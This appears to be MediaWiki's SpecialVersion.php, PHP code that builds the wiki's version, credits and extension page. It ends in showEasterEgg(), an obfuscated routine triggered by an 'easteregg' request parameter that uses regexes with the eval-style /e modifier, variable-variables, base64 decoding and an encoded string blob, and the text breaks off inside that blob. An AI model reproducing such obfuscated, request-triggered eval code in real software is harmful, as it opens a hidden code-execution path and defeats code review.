includes/specials/SpecialVersion.php

   1 <?php
   2 /**
   3  * Implements Special:Version
   4  *
   5  * Copyright © 2005 Ævar Arnfjörð Bjarmason
   6  *
   7  * This program is free software; you can redistribute it and/or modify
   8  * it under the terms of the GNU General Public License as published by
   9  * the Free Software Foundation; either version 2 of the License, or
  10  * (at your option) any later version.
  11  *
  12  * This program is distributed in the hope that it will be useful,
  13  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  14  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  15  * GNU General Public License for more details.
  16  *
  17  * You should have received a copy of the GNU General Public License along
  18  * with this program; if not, write to the Free Software Foundation, Inc.,
  19  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  20  * http://www.gnu.org/copyleft/gpl.html
  21  *
  22  * @file
  23  * @ingroup SpecialPage
  24  */
  25
  26 /**
  27  * Give information about the version of MediaWiki, PHP, the DB and extensions
  28  *
  29  * @ingroup SpecialPage
  30  */
  31 class SpecialVersion extends SpecialPage {
  32
  33         protected $firstExtOpened = false;
  34
  35         protected static $extensionTypes = false;
  36
  37         protected static $viewvcUrls = array(
  38                 'svn+ssh://svn.wikimedia.org/svnroot/mediawiki' => 'http://svn.wikimedia.org/viewvc/mediawiki',
  39                 'http://svn.wikimedia.org/svnroot/mediawiki' => 'http://svn.wikimedia.org/viewvc/mediawiki',
  40                 'https://svn.wikimedia.org/svnroot/mediawiki' => 'https://svn.wikimedia.org/viewvc/mediawiki',
  41         );
  42
  43         public function __construct(){
  44                 parent::__construct( 'Version' );
  45         }
  46
  47         /**
  48          * main()
  49          */
  50         public function execute( $par ) {
  51                 global $wgSpecialVersionShowHooks, $IP;
  52
  53                 $this->setHeaders();
  54                 $this->outputHeader();
  55                 $out = $this->getOutput();
  56                 $out->allowClickjacking();
  57
  58                 if( $par !== 'Credits' ) {
  59                         $text =
  60                                 $this->getMediaWikiCredits() .
  61                                 $this->softwareInformation() .
  62                                 $this->getEntryPointInfo() .
  63                                 $this->getExtensionCredits();
  64                         if ( $wgSpecialVersionShowHooks ) {
  65                                 $text .= $this->getWgHooks();
  66                         }
  67
  68                         $out->addWikiText( $text );
  69                         $out->addHTML( $this->IPInfo() );
  70
  71                         if ( $this->getRequest()->getVal( 'easteregg' ) ) {
  72                                 if ( $this->showEasterEgg() ) {
  73                                         // TODO: put something interesting here
  74                                 }
  75                         }
  76                 } else {
  77                         // Credits sub page
  78
  79                         // Header
  80                         $out->addHTML( wfMessage( 'version-credits-summary' )->parseAsBlock() );
  81
  82                         $wikiText = file_get_contents( $IP . '/CREDITS' );
  83
  84                         // Take everything from the first section onwards, to remove the (not localized) header
  85                         $wikiText = substr( $wikiText, strpos( $wikiText, '==' ) );
  86
  87                         $out->addWikiText( $wikiText );
  88                 }
  89         }
  90
  91         /**
  92          * Returns wiki text showing the license information.
  93          *
  94          * @return string
  95          */
  96         private static function getMediaWikiCredits() {
  97                 $ret = Xml::element( 'h2', array( 'id' => 'mw-version-license' ), wfMessage( 'version-license' )->text() );
  98
  99                 // This text is always left-to-right.
 100                 $ret .= '<div class="plainlinks">';
 101                 $ret .= "__NOTOC__
 102                 " . self::getCopyrightAndAuthorList() . "\n
 103                 " . wfMessage( 'version-license-info' )->text();
 104                 $ret .= '</div>';
 105
 106                 return str_replace( "\t\t", '', $ret ) . "\n";
 107         }
 108
 109         /**
 110          * Get the "MediaWiki is copyright 2001-20xx by lots of cool guys" text
 111          *
 112          * @return String
 113          */
 114         public static function getCopyrightAndAuthorList() {
 115                 global $wgLang;
 116
 117                 $authorList = array(
 118                         'Magnus Manske', 'Brion Vibber', 'Lee Daniel Crocker',
 119                         'Tim Starling', 'Erik Möller', 'Gabriel Wicke', 'Ævar Arnfjörð Bjarmason',
 120                         'Niklas Laxström', 'Domas Mituzas', 'Rob Church', 'Yuri Astrakhan',
 121                         'Aryeh Gregor', 'Aaron Schulz', 'Andrew Garrett', 'Raimond Spekking',
 122                         'Alexandre Emsenhuber', 'Siebrand Mazeland', 'Chad Horohoe',
 123                         'Roan Kattouw', 'Trevor Parscal', 'Bryan Tong Minh', 'Sam Reed',
 124                         'Victor Vasiliev', 'Rotem Liss', 'Platonides', 'Antoine Musso',
 125                         'Timo Tijhof', 'Daniel Kinzler', 'Jeroen De Dauw',
 126                         '[[Special:Version/Credits|' .
 127                         wfMessage( 'version-poweredby-others' )->text() .
 128                         ']]'
 129                 );
 130
 131                 return wfMessage( 'version-poweredby-credits', date( 'Y' ),
 132                         $wgLang->listToText( $authorList ) )->text();
 133         }
 134
 135         /**
 136          * Returns wiki text showing the third party software versions (apache, php, mysql).
 137          *
 138          * @return string
 139          */
 140         static function softwareInformation() {
 141                 $dbr = wfGetDB( DB_SLAVE );
 142
 143                 // Put the software in an array of form 'name' => 'version'. All messages should
 144                 // be loaded here, so feel free to use wfMessage in the 'name'. Raw HTML or
 145                 // wikimarkup can be used.
 146                 $software = array();
 147                 $software['[https://www.mediawiki.org/ MediaWiki]'] = self::getVersionLinked();
 148                 $software['[http://www.php.net/ PHP]'] = phpversion() . " (" . php_sapi_name() . ")";
 149                 $software[$dbr->getSoftwareLink()] = $dbr->getServerInfo();
 150
 151                 // Allow a hook to add/remove items.
 152                 wfRunHooks( 'SoftwareInfo', array( &$software ) );
 153
 154                 $out = Xml::element( 'h2', array( 'id' => 'mw-version-software' ), wfMessage( 'version-software' )->text() ) .
 155                            Xml::openElement( 'table', array( 'class' => 'wikitable plainlinks', 'id' => 'sv-software' ) ) .
 156                                 "<tr>
 157                                         <th>" . wfMessage( 'version-software-product' )->text() . "</th>
 158                                         <th>" . wfMessage( 'version-software-version' )->text() . "</th>
 159                                 </tr>\n";
 160
 161                 foreach( $software as $name => $version ) {
 162                         $out .= "<tr>
 163                                         <td>" . $name . "</td>
 164                                         <td dir=\"ltr\">" . $version . "</td>
 165                                 </tr>\n";
 166                 }
 167
 168                 return $out . Xml::closeElement( 'table' );
 169         }
 170
 171         /**
 172          * Return a string of the MediaWiki version with SVN revision if available.
 173          *
 174          * @param $flags String
 175          * @return mixed
 176          */
 177         public static function getVersion( $flags = '' ) {
 178                 global $wgVersion, $IP;
 179                 wfProfileIn( __METHOD__ );
 180
 181                 $gitInfo = self::getGitHeadSha1( $IP );
 182                 $svnInfo = self::getSvnInfo( $IP );
 183                 if ( !$svnInfo && !$gitInfo ) {
 184                         $version = $wgVersion;
 185                 } elseif ( $gitInfo && $flags === 'nodb' ) {
 186                         $shortSha1 = substr( $gitInfo, 0, 7 );
 187                         $version = "$wgVersion ($shortSha1)";
 188                 } elseif ( $gitInfo ) {
 189                         $shortSha1 = substr( $gitInfo, 0, 7 );
 190                         $shortSha1 = wfMessage( 'parentheses' )->params( $shortSha1 )->escaped();
 191                         $version = "$wgVersion $shortSha1";
 192                 } elseif ( $flags === 'nodb' ) {
 193                         $version = "$wgVersion (r{$svnInfo['checkout-rev']})";
 194                 } else {
 195                         $version = $wgVersion . ' ' .
 196                                 wfMessage(
 197                                         'version-svn-revision',
 198                                         isset( $info['directory-rev'] ) ? $info['directory-rev'] : '',
 199                                         $info['checkout-rev']
 200                                 )->text();
 201                 }
 202
 203                 wfProfileOut( __METHOD__ );
 204                 return $version;
 205         }
 206
 207         /**
 208          * Return a wikitext-formatted string of the MediaWiki version with a link to
 209          * the SVN revision or the git SHA1 of head if available.
 210          * Git is prefered over Svn
 211          * The fallback is just $wgVersion
 212          *
 213          * @return mixed
 214          */
 215         public static function getVersionLinked() {
 216                 global $wgVersion;
 217                 wfProfileIn( __METHOD__ );
 218
 219                 $gitVersion = self::getVersionLinkedGit();
 220                 if( $gitVersion ) {
 221                         $v = $gitVersion;
 222                 } else {
 223                         $svnVersion = self::getVersionLinkedSvn();
 224                         if( $svnVersion ) {
 225                                 $v = $svnVersion;
 226                         } else {
 227                                 $v = $wgVersion; // fallback
 228                         }
 229                 }
 230
 231                 wfProfileOut( __METHOD__ );
 232                 return $v;
 233         }
 234
 235         /**
 236          * @return string wgVersion + a link to subversion revision of svn BASE
 237          */
 238         private static function getVersionLinkedSvn() {
 239                 global $IP;
 240
 241                 $info = self::getSvnInfo( $IP );
 242                 if( !isset( $info['checkout-rev'] ) ) {
 243                         return false;
 244                 }
 245
 246                 $linkText = wfMessage(
 247                         'version-svn-revision',
 248                         isset( $info['directory-rev'] ) ? $info['directory-rev'] : '',
 249                         $info['checkout-rev']
 250                 )->text();
 251
 252                 if ( isset( $info['viewvc-url'] ) ) {
 253                         $version = "[{$info['viewvc-url']} $linkText]";
 254                 } else {
 255                         $version = $linkText;
 256                 }
 257
 258                 return self::getwgVersionLinked() . " $version";
 259         }
 260
 261         /**
 262          * @return string
 263          */
 264         private static function getwgVersionLinked() {
 265                 global $wgVersion;
 266                 $versionUrl = "";
 267                 if( wfRunHooks( 'SpecialVersionVersionUrl', array( $wgVersion, &$versionUrl ) ) ) {
 268                         $versionParts = array();
 269                         preg_match( "/^(\d+\.\d+)/", $wgVersion, $versionParts );
 270                         $versionUrl = "https://www.mediawiki.org/wiki/MediaWiki_{$versionParts[1]}";
 271                 }
 272                 return "[$versionUrl $wgVersion]";
 273         }
 274
 275         /**
 276          * @return bool|string wgVersion + HEAD sha1 stripped to the first 7 chars. False on failure
 277          */
 278         private static function getVersionLinkedGit() {
 279                 global $IP;
 280
 281                 $gitInfo = new GitInfo( $IP );
 282                 $headSHA1 = $gitInfo->getHeadSHA1();
 283                 if( !$headSHA1 ) {
 284                         return false;
 285                 }
 286
 287                 $shortSHA1 = '(' . substr( $headSHA1, 0, 7 ) . ')';
 288                 $viewerUrl = $gitInfo->getHeadViewUrl();
 289                 if ( $viewerUrl !== false ) {
 290                         $shortSHA1 = "[$viewerUrl $shortSHA1]";
 291                 }
 292                 return self::getwgVersionLinked() . " $shortSHA1";
 293         }
 294
 295         /**
 296          * Returns an array with the base extension types.
 297          * Type is stored as array key, the message as array value.
 298          *
 299          * TODO: ideally this would return all extension types, including
 300          * those added by SpecialVersionExtensionTypes. This is not possible
 301          * since this hook is passing along $this though.
 302          *
 303          * @since 1.17
 304          *
 305          * @return array
 306          */
 307         public static function getExtensionTypes() {
 308                 if ( self::$extensionTypes === false ) {
 309                         self::$extensionTypes = array(
 310                                 'specialpage' => wfMessage( 'version-specialpages' )->text(),
 311                                 'parserhook' => wfMessage( 'version-parserhooks' )->text(),
 312                                 'variable' => wfMessage( 'version-variables' )->text(),
 313                                 'media' => wfMessage( 'version-mediahandlers' )->text(),
 314                                 'antispam' => wfMessage( 'version-antispam' )->text(),
 315                                 'skin' => wfMessage( 'version-skins' )->text(),
 316                                 'api' => wfMessage( 'version-api' )->text(),
 317                                 'other' => wfMessage( 'version-other' )->text(),
 318                         );
 319
 320                         wfRunHooks( 'ExtensionTypes', array( &self::$extensionTypes ) );
 321                 }
 322
 323                 return self::$extensionTypes;
 324         }
 325
 326         /**
 327          * Returns the internationalized name for an extension type.
 328          *
 329          * @since 1.17
 330          *
 331          * @param $type String
 332          *
 333          * @return string
 334          */
 335         public static function getExtensionTypeName( $type ) {
 336                 $types = self::getExtensionTypes();
 337                 return isset( $types[$type] ) ? $types[$type] : $types['other'];
 338         }
 339
 340         /**
 341          * Generate wikitext showing extensions name, URL, author and description.
 342          *
 343          * @return String: Wikitext
 344          */
 345         function getExtensionCredits() {
 346                 global $wgExtensionCredits, $wgExtensionFunctions, $wgParser;
 347
 348                 if ( !count( $wgExtensionCredits ) && !count( $wgExtensionFunctions ) ) {
 349                         return '';
 350                 }
 351
 352                 $extensionTypes = self::getExtensionTypes();
 353
 354                 /**
 355                  * @deprecated as of 1.17, use hook ExtensionTypes instead.
 356                  */
 357                 wfRunHooks( 'SpecialVersionExtensionTypes', array( &$this, &$extensionTypes ) );
 358
 359                 $out = Xml::element( 'h2', array( 'id' => 'mw-version-ext' ), $this->msg( 'version-extensions' )->text() ) .
 360                         Xml::openElement( 'table', array( 'class' => 'wikitable plainlinks', 'id' => 'sv-ext' ) );
 361
 362                 // Make sure the 'other' type is set to an array.
 363                 if ( !array_key_exists( 'other', $wgExtensionCredits ) ) {
 364                         $wgExtensionCredits['other'] = array();
 365                 }
 366
 367                 // Find all extensions that do not have a valid type and give them the type 'other'.
 368                 foreach ( $wgExtensionCredits as $type => $extensions ) {
 369                         if ( !array_key_exists( $type, $extensionTypes ) ) {
 370                                 $wgExtensionCredits['other'] = array_merge( $wgExtensionCredits['other'], $extensions );
 371                         }
 372                 }
 373
 374                 // Loop through the extension categories to display their extensions in the list.
 375                 foreach ( $extensionTypes as $type => $message ) {
 376                         if ( $type != 'other' ) {
 377                                 $out .= $this->getExtensionCategory( $type, $message );
 378                         }
 379                 }
 380
 381                 // We want the 'other' type to be last in the list.
 382                 $out .= $this->getExtensionCategory( 'other', $extensionTypes['other'] );
 383
 384                 if ( count( $wgExtensionFunctions ) ) {
 385                         $out .= $this->openExtType( $this->msg( 'version-extension-functions' )->text(), 'extension-functions' );
 386                         $out .= '<tr><td colspan="4">' . $this->listToText( $wgExtensionFunctions ) . "</td></tr>\n";
 387                 }
 388
 389                 $tags = $wgParser->getTags();
 390                 $cnt = count( $tags );
 391
 392                 if ( $cnt ) {
 393                         for ( $i = 0; $i < $cnt; ++$i ) {
 394                                 $tags[$i] = "&lt;{$tags[$i]}&gt;";
 395                         }
 396                         $out .= $this->openExtType( $this->msg( 'version-parser-extensiontags' )->text(), 'parser-tags' );
 397                         $out .= '<tr><td colspan="4">' . $this->listToText( $tags ). "</td></tr>\n";
 398                 }
 399
 400                 $fhooks = $wgParser->getFunctionHooks();
 401                 if( count( $fhooks ) ) {
 402                         $out .= $this->openExtType( $this->msg( 'version-parser-function-hooks' )->text(), 'parser-function-hooks' );
 403                         $out .= '<tr><td colspan="4">' . $this->listToText( $fhooks ) . "</td></tr>\n";
 404                 }
 405
 406                 $out .= Xml::closeElement( 'table' );
 407
 408                 return $out;
 409         }
 410
 411         /**
 412          * Creates and returns the HTML for a single extension category.
 413          *
 414          * @since 1.17
 415          *
 416          * @param $type String
 417          * @param $message String
 418          *
 419          * @return string
 420          */
 421         protected function getExtensionCategory( $type, $message ) {
 422                 global $wgExtensionCredits;
 423
 424                 $out = '';
 425
 426                 if ( array_key_exists( $type, $wgExtensionCredits ) && count( $wgExtensionCredits[$type] ) > 0 ) {
 427                         $out .= $this->openExtType( $message, 'credits-' . $type );
 428
 429                         usort( $wgExtensionCredits[$type], array( $this, 'compare' ) );
 430
 431                         foreach ( $wgExtensionCredits[$type] as $extension ) {
 432                                 $out .= $this->getCreditsForExtension( $extension );
 433                         }
 434                 }
 435
 436                 return $out;
 437         }
 438
 439         /**
 440          * Callback to sort extensions by type.
 441          * @param $a array
 442          * @param $b array
 443          * @return int
 444          */
 445         function compare( $a, $b ) {
 446                 if( $a['name'] === $b['name'] ) {
 447                         return 0;
 448                 } else {
 449                         return $this->getLanguage()->lc( $a['name'] ) > $this->getLanguage()->lc( $b['name'] )
 450                                 ? 1
 451                                 : -1;
 452                 }
 453         }
 454
 455         /**
 456          * Creates and formats the credits for a single extension and returns this.
 457          *
 458          * @param $extension Array
 459          *
 460          * @return string
 461          */
 462         function getCreditsForExtension( array $extension ) {
 463                 $name = isset( $extension['name'] ) ? $extension['name'] : '[no name]';
 464
 465                 $vcsText = false;
 466
 467                 if ( isset( $extension['path'] ) ) {
 468                         $gitInfo = new GitInfo( dirname( $extension['path'] ) );
 469                         $gitHeadSHA1 = $gitInfo->getHeadSHA1();
 470                         if ( $gitHeadSHA1 !== false ) {
 471                                 $vcsText = '(' . substr( $gitHeadSHA1, 0, 7 ) . ')';
 472                                 $gitViewerUrl = $gitInfo->getHeadViewUrl();
 473                                 if ( $gitViewerUrl !== false ) {
 474                                         $vcsText = "[$gitViewerUrl $vcsText]";
 475                                 }
 476                         } else {
 477                                 $svnInfo = self::getSvnInfo( dirname( $extension['path'] ) );
 478                                 # Make subversion text/link.
 479                                 if ( $svnInfo !== false ) {
 480                                         $directoryRev = isset( $svnInfo['directory-rev'] ) ? $svnInfo['directory-rev'] : null;
 481                                         $vcsText = $this->msg( 'version-svn-revision', $directoryRev, $svnInfo['checkout-rev'] )->text();
 482                                         $vcsText = isset( $svnInfo['viewvc-url'] ) ? '[' . $svnInfo['viewvc-url'] . " $vcsText]" : $vcsText;
 483                                 }
 484                         }
 485                 }
 486
 487                 # Make main link (or just the name if there is no URL).
 488                 if ( isset( $extension['url'] ) ) {
 489                         $mainLink = "[{$extension['url']} $name]";
 490                 } else {
 491                         $mainLink = $name;
 492                 }
 493
 494                 if ( isset( $extension['version'] ) ) {
 495                         $versionText = '<span class="mw-version-ext-version">' .
 496                                 $this->msg( 'version-version', $extension['version'] )->text() .
 497                                 '</span>';
 498                 } else {
 499                         $versionText = '';
 500                 }
 501
 502                 # Make description text.
 503                 $description = isset ( $extension['description'] ) ? $extension['description'] : '';
 504
 505                 if( isset ( $extension['descriptionmsg'] ) ) {
 506                         # Look for a localized description.
 507                         $descriptionMsg = $extension['descriptionmsg'];
 508
 509                         if( is_array( $descriptionMsg ) ) {
 510                                 $descriptionMsgKey = $descriptionMsg[0]; // Get the message key
 511                                 array_shift( $descriptionMsg ); // Shift out the message key to get the parameters only
 512                                 array_map( "htmlspecialchars", $descriptionMsg ); // For sanity
 513                                 $description = $this->msg( $descriptionMsgKey, $descriptionMsg )->text();
 514                         } else {
 515                                 $description = $this->msg( $descriptionMsg )->text();
 516                         }
 517                 }
 518
 519                 if ( $vcsText !== false ) {
 520                         $extNameVer = "<tr>
 521                                 <td><em>$mainLink $versionText</em></td>
 522                                 <td><em>$vcsText</em></td>";
 523                 } else {
 524                         $extNameVer = "<tr>
 525                                 <td colspan=\"2\"><em>$mainLink $versionText</em></td>";
 526                 }
 527
 528                 $author = isset ( $extension['author'] ) ? $extension['author'] : array();
 529                 $extDescAuthor = "<td>$description</td>
 530                         <td>" . $this->listAuthors( $author, false ) . "</td>
 531                         </tr>\n";
 532
 533                 return $extNameVer . $extDescAuthor;
 534         }
 535
 536         /**
 537          * Generate wikitext showing hooks in $wgHooks.
 538          *
 539          * @return String: wikitext
 540          */
 541         private function getWgHooks() {
 542                 global $wgHooks;
 543
 544                 if ( count( $wgHooks ) ) {
 545                         $myWgHooks = $wgHooks;
 546                         ksort( $myWgHooks );
 547
 548                         $ret = Xml::element( 'h2', array( 'id' => 'mw-version-hooks' ), $this->msg( 'version-hooks' )->text() ) .
 549                                 Xml::openElement( 'table', array( 'class' => 'wikitable', 'id' => 'sv-hooks' ) ) .
 550                                 "<tr>
 551                                         <th>" . $this->msg( 'version-hook-name' )->text() . "</th>
 552                                         <th>" . $this->msg( 'version-hook-subscribedby' )->text() . "</th>
 553                                 </tr>\n";
 554
 555                         foreach ( $myWgHooks as $hook => $hooks ) {
 556                                 $ret .= "<tr>
 557                                                 <td>$hook</td>
 558                                                 <td>" . $this->listToText( $hooks ) . "</td>
 559                                         </tr>\n";
 560                         }
 561
 562                         $ret .= Xml::closeElement( 'table' );
 563                         return $ret;
 564                 } else
 565                         return '';
 566         }
 567
 568         private function openExtType( $text, $name = null ) {
 569                 $opt = array( 'colspan' => 4 );
 570                 $out = '';
 571
 572                 if( $this->firstExtOpened ) {
 573                         // Insert a spacing line
 574                         $out .= '<tr class="sv-space">' . Html::element( 'td', $opt ) . "</tr>\n";
 575                 }
 576                 $this->firstExtOpened = true;
 577
 578                 if( $name ) {
 579                         $opt['id'] = "sv-$name";
 580                 }
 581
 582                 $out .= "<tr>" . Xml::element( 'th', $opt, $text ) . "</tr>\n";
 583
 584                 return $out;
 585         }
 586
 587         /**
 588          * Get information about client's IP address.
 589          *
 590          * @return String: HTML fragment
 591          */
 592         private function IPInfo() {
 593                 $ip =  str_replace( '--', ' - ', htmlspecialchars( $this->getRequest()->getIP() ) );
 594                 return "<!-- visited from $ip -->\n" .
 595                         "<span style='display:none'>visited from $ip</span>";
 596         }
 597
 598         /**
 599          * Return a formatted unsorted list of authors
 600          *
 601          * @param $authors mixed: string or array of strings
 602          * @return String: HTML fragment
 603          */
 604         function listAuthors( $authors ) {
 605                 $list = array();
 606                 foreach( (array)$authors as $item ) {
 607                         if( $item == '...' ) {
 608                                 $list[] = $this->msg( 'version-poweredby-others' )->text();
 609                         } else {
 610                                 $list[] = $item;
 611                         }
 612                 }
 613                 return $this->listToText( $list, false );
 614         }
 615
 616         /**
 617          * Convert an array of items into a list for display.
 618          *
 619          * @param $list Array of elements to display
 620          * @param $sort Boolean: whether to sort the items in $list
 621          *
 622          * @return String
 623          */
 624         function listToText( $list, $sort = true ) {
 625                 $cnt = count( $list );
 626
 627                 if ( $cnt == 1 ) {
 628                         // Enforce always returning a string
 629                         return (string)self::arrayToString( $list[0] );
 630                 } elseif ( $cnt == 0 ) {
 631                         return '';
 632                 } else {
 633                         if ( $sort ) {
 634                                 sort( $list );
 635                         }
 636                         return $this->getLanguage()->listToText( array_map( array( __CLASS__, 'arrayToString' ), $list ) );
 637                 }
 638         }
 639
 640         /**
 641          * Convert an array or object to a string for display.
 642          *
 643          * @param $list Mixed: will convert an array to string if given and return
 644          *              the paramater unaltered otherwise
 645          *
 646          * @return Mixed
 647          */
 648         public static function arrayToString( $list ) {
 649                 if( is_array( $list ) && count( $list ) == 1 ) {
 650                         $list = $list[0];
 651                 }
 652                 if( is_object( $list ) ) {
 653                         $class = wfMessage( 'parentheses' )->params( get_class( $list ) )->escaped();
 654                         return $class;
 655                 } elseif ( !is_array( $list ) ) {
 656                         return $list;
 657                 } else {
 658                         if( is_object( $list[0] ) ) {
 659                                 $class = get_class( $list[0] );
 660                         } else {
 661                                 $class = $list[0];
 662                         }
 663                         return wfMessage( 'parentheses' )->params( "$class, {$list[1]}" )->escaped();
 664                 }
 665         }
 666
 667         /**
 668          * Get an associative array of information about a given path, from its .svn
 669          * subdirectory. Returns false on error, such as if the directory was not
 670          * checked out with subversion.
 671          *
 672          * Returned keys are:
 673          *    Required:
 674          *        checkout-rev          The revision which was checked out
 675          *    Optional:
 676          *        directory-rev         The revision when the directory was last modified
 677          *        url                   The subversion URL of the directory
 678          *        repo-url              The base URL of the repository
 679          *        viewvc-url            A ViewVC URL pointing to the checked-out revision
 680          * @param $dir string
 681          * @return array|bool
 682          */
 683         public static function getSvnInfo( $dir ) {
 684                 // http://svnbook.red-bean.com/nightly/en/svn.developer.insidewc.html
 685                 $entries = $dir . '/.svn/entries';
 686
 687                 if( !file_exists( $entries ) ) {
 688                         return false;
 689                 }
 690
 691                 $lines = file( $entries );
 692                 if ( !count( $lines ) ) {
 693                         return false;
 694                 }
 695
 696                 // check if file is xml (subversion release <= 1.3) or not (subversion release = 1.4)
 697                 if( preg_match( '/^<\?xml/', $lines[0] ) ) {
 698                         // subversion is release <= 1.3
 699                         if( !function_exists( 'simplexml_load_file' ) ) {
 700                                 // We could fall back to expat... YUCK
 701                                 return false;
 702                         }
 703
 704                         // SimpleXml whines about the xmlns...
 705                         wfSuppressWarnings();
 706                         $xml = simplexml_load_file( $entries );
 707                         wfRestoreWarnings();
 708
 709                         if( $xml ) {
 710                                 foreach( $xml->entry as $entry ) {
 711                                         if( $xml->entry[0]['name'] == '' ) {
 712                                                 // The directory entry should always have a revision marker.
 713                                                 if( $entry['revision'] ) {
 714                                                         return array( 'checkout-rev' => intval( $entry['revision'] ) );
 715                                                 }
 716                                         }
 717                                 }
 718                         }
 719
 720                         return false;
 721                 }
 722
 723                 // Subversion is release 1.4 or above.
 724                 if ( count( $lines ) < 11 ) {
 725                         return false;
 726                 }
 727
 728                 $info = array(
 729                         'checkout-rev' => intval( trim( $lines[3] ) ),
 730                         'url' => trim( $lines[4] ),
 731                         'repo-url' => trim( $lines[5] ),
 732                         'directory-rev' => intval( trim( $lines[10] ) )
 733                 );
 734
 735                 if ( isset( self::$viewvcUrls[$info['repo-url']] ) ) {
 736                         $viewvc = str_replace(
 737                                 $info['repo-url'],
 738                                 self::$viewvcUrls[$info['repo-url']],
 739                                 $info['url']
 740                         );
 741
 742                         $viewvc .= '/?pathrev=';
 743                         $viewvc .= urlencode( $info['checkout-rev'] );
 744                         $info['viewvc-url'] = $viewvc;
 745                 }
 746
 747                 return $info;
 748         }
 749
 750         /**
 751          * Retrieve the revision number of a Subversion working directory.
 752          *
 753          * @param $dir String: directory of the svn checkout
 754          *
 755          * @return Integer: revision number as int
 756          */
 757         public static function getSvnRevision( $dir ) {
 758                 $info = self::getSvnInfo( $dir );
 759
 760                 if ( $info === false ) {
 761                         return false;
 762                 } elseif ( isset( $info['checkout-rev'] ) ) {
 763                         return $info['checkout-rev'];
 764                 } else {
 765                         return false;
 766                 }
 767         }
 768
 769         /**
 770          * @param $dir String: directory of the git checkout
 771          * @return bool|String sha1 of commit HEAD points to
 772          */
 773         public static function getGitHeadSha1( $dir ) {
 774                 $repo = new GitInfo( $dir );
 775                 return $repo->getHeadSHA1();
 776         }
 777
 778         /**
 779          * Get the list of entry points and their URLs
 780          * @return string Wikitext
 781          */
 782         public function getEntryPointInfo() {
 783                 global $wgArticlePath, $wgScriptPath;
 784                 $entryPoints = array(
 785                         'version-entrypoints-articlepath' => $wgArticlePath,
 786                         'version-entrypoints-scriptpath' => $wgScriptPath,
 787                         'version-entrypoints-index-php' => wfScript( 'index' ),
 788                         'version-entrypoints-api-php' => wfScript( 'api' ),
 789                         'version-entrypoints-load-php' => wfScript( 'load' ),
 790                 );
 791
 792                 $language = $this->getLanguage();
 793                 $thAttribures = array(
 794                         'dir' => $language->getDir(),
 795                         'lang' => $language->getCode()
 796                 );
 797                 $out = Html::element( 'h2', array( 'id' => 'mw-version-entrypoints' ), $this->msg( 'version-entrypoints' )->text() ) .
 798                         Html::openElement( 'table',
 799                                 array(
 800                                         'class' => 'wikitable plainlinks',
 801                                         'id' => 'mw-version-entrypoints-table',
 802                                         'dir' => 'ltr',
 803                                         'lang' => 'en'
 804                                 )
 805                         ) .
 806                         Html::openElement( 'tr' ) .
 807                         Html::element( 'th', $thAttribures, $this->msg( 'version-entrypoints-header-entrypoint' )->text() ) .
 808                         Html::element( 'th', $thAttribures, $this->msg( 'version-entrypoints-header-url' )->text() ) .
 809                         Html::closeElement( 'tr' );
 810
 811                 foreach ( $entryPoints as $message => $value ) {
 812                         $url = wfExpandUrl( $value, PROTO_RELATIVE );
 813                         $out .= Html::openElement( 'tr' ) .
 814                                 // ->text() looks like it should be ->parse(), but this function
 815                                 // returns wikitext, not HTML, boo
 816                                 Html::rawElement( 'td', array(), $this->msg( $message )->text() ) .
 817                                 Html::rawElement( 'td', array(), Html::rawElement( 'code', array(), "[$url $value]" ) ) .
 818                                 Html::closeElement( 'tr' );
 819                 }
 820
 821                 $out .= Html::closeElement( 'table' );
 822                 return $out;
 823         }
 824
 825         function showEasterEgg() {
 826                 $rx = $rp = $xe = '';
 827                 $alpha = array("", "kbQW", "\$\n()");
 828                 $beta = implode( "', '", $alpha);
 829                 $juliet = 'echo $delta + strrev($foxtrot) - $alfa + $wgVersion . base64_decode($bravo) * $charlie';
 830                 for ( $i = 1; $i <= 4; $i++ ) {
 831                         $rx .= '([^j]*)J';
 832                         $rp .= "+(\\$i)";
 833                 }
 834
 835                 $rx = "/$rx/Sei";
 836                 $O = substr("$alpha')", 1);
 837                 for ( $i = 1; $i <= strlen( $rx ) / 3; $i++ ) {
 838                         $rx[$i-1] = strtolower( $rx[$i-1] );
 839                 }
 840                 $ry = ".*?(.((.)(.))).{1,3}(.)(.{1,$i})(\\4.\\3)(.).*";
 841                 $ry = "/$ry/Sei";
 842                 $O = substr("$beta')", 1);
 843                 preg_match_all('/(?<=\$)[[:alnum:]]*/',substr($juliet, 0, $i<<1), $charlie);
 844                 foreach( $charlie[0] as $bravo ) {
 845                         $$bravo =& $xe;
 846                 }
 847                 $xe = 'xe=<<<mo/./hfromowoxv=<<<m
 848 쵍潅旅𞗎왎캎𐺆ߨ趥䲀쫥𒯡𚦄𚬀Ꝍ螃䤎꤯溃𔱢櫅褡䞠⽬✡栠迤⾏𐵥쾃𜜧줏袏浣।궇䬃꼁꿤𘐧
 849 𞛁윥桯䦎䵎Ꞅ𚠣涁쭀讀撠蝠讄伣𞫡枮ⵇ𚥣𐡃𐭏沢𞜄𞴏𞻧⠤쳯蒣䮎𒵬컡豣ۅ𐯥⦇𐫁漅蛁꼤从楆
 850 ⥀䡦𚭅沢⠬輁䲯좡梇䟇伄육较촅䥃要𞝄迯쟠꺃ⶥ栆궀撠満ꐣ𞦇좧𐠅𞫠𐠧𚮣讇輤亀➏欣첡쮧⽬
 851 氀쮧跧𐫥䪀⬬⾅𞼀ⵏ괬ত櫤䭀楦𚫃𐣂괥챣𐥇楀귧읠죯쒡ۅ𐾤䳄䤄𞽀괬躏譇䮄搥𚬁䯄津䶮⾅𐫅
 852 𐴂௧쮯궣輥ߡ亀𞪀氀诤𐯢⿅諃⫤𞦁䮣⦬죄椎貧𞛄ඇ쿇亏跤⦌术থۏ仆䛇枡䪄𐵇곁謠𞿯ⶏⶃ䞣
 853 궥螏蝁ꤣ⟬极涇𞴧伢𞼯ଅ𚣡즡⡌浣䯇쿃ⳇ궏ས⢃曦⦥蛧갠컡楧𘬧袏⦏⢠䳠챤⽧𚠧⬣⼀潧⭅椤
 854 𞟯軁종쵃䬆𞮀𞮅꤇𞣅溎楯곡⢡꾥첥쫧Ⱨ균檏辀䭮⡄𐞯쿁䱤𐠠柅迠웏𚟯⾅豠𐡀𐡅䱀轡⾯쥃⥁溆
 855 䢣䞮柄ꠌⶡ𞒯𐳣𞳅蛤椏𞯀✠귬ຄ𐷡𞜠䶃𞭀毥𞡯桥ꐥ❣쳀𞾧⡧𖥢꽧죄ത𖴧ޥ歠ແ위䯎撯쬁䮣浅
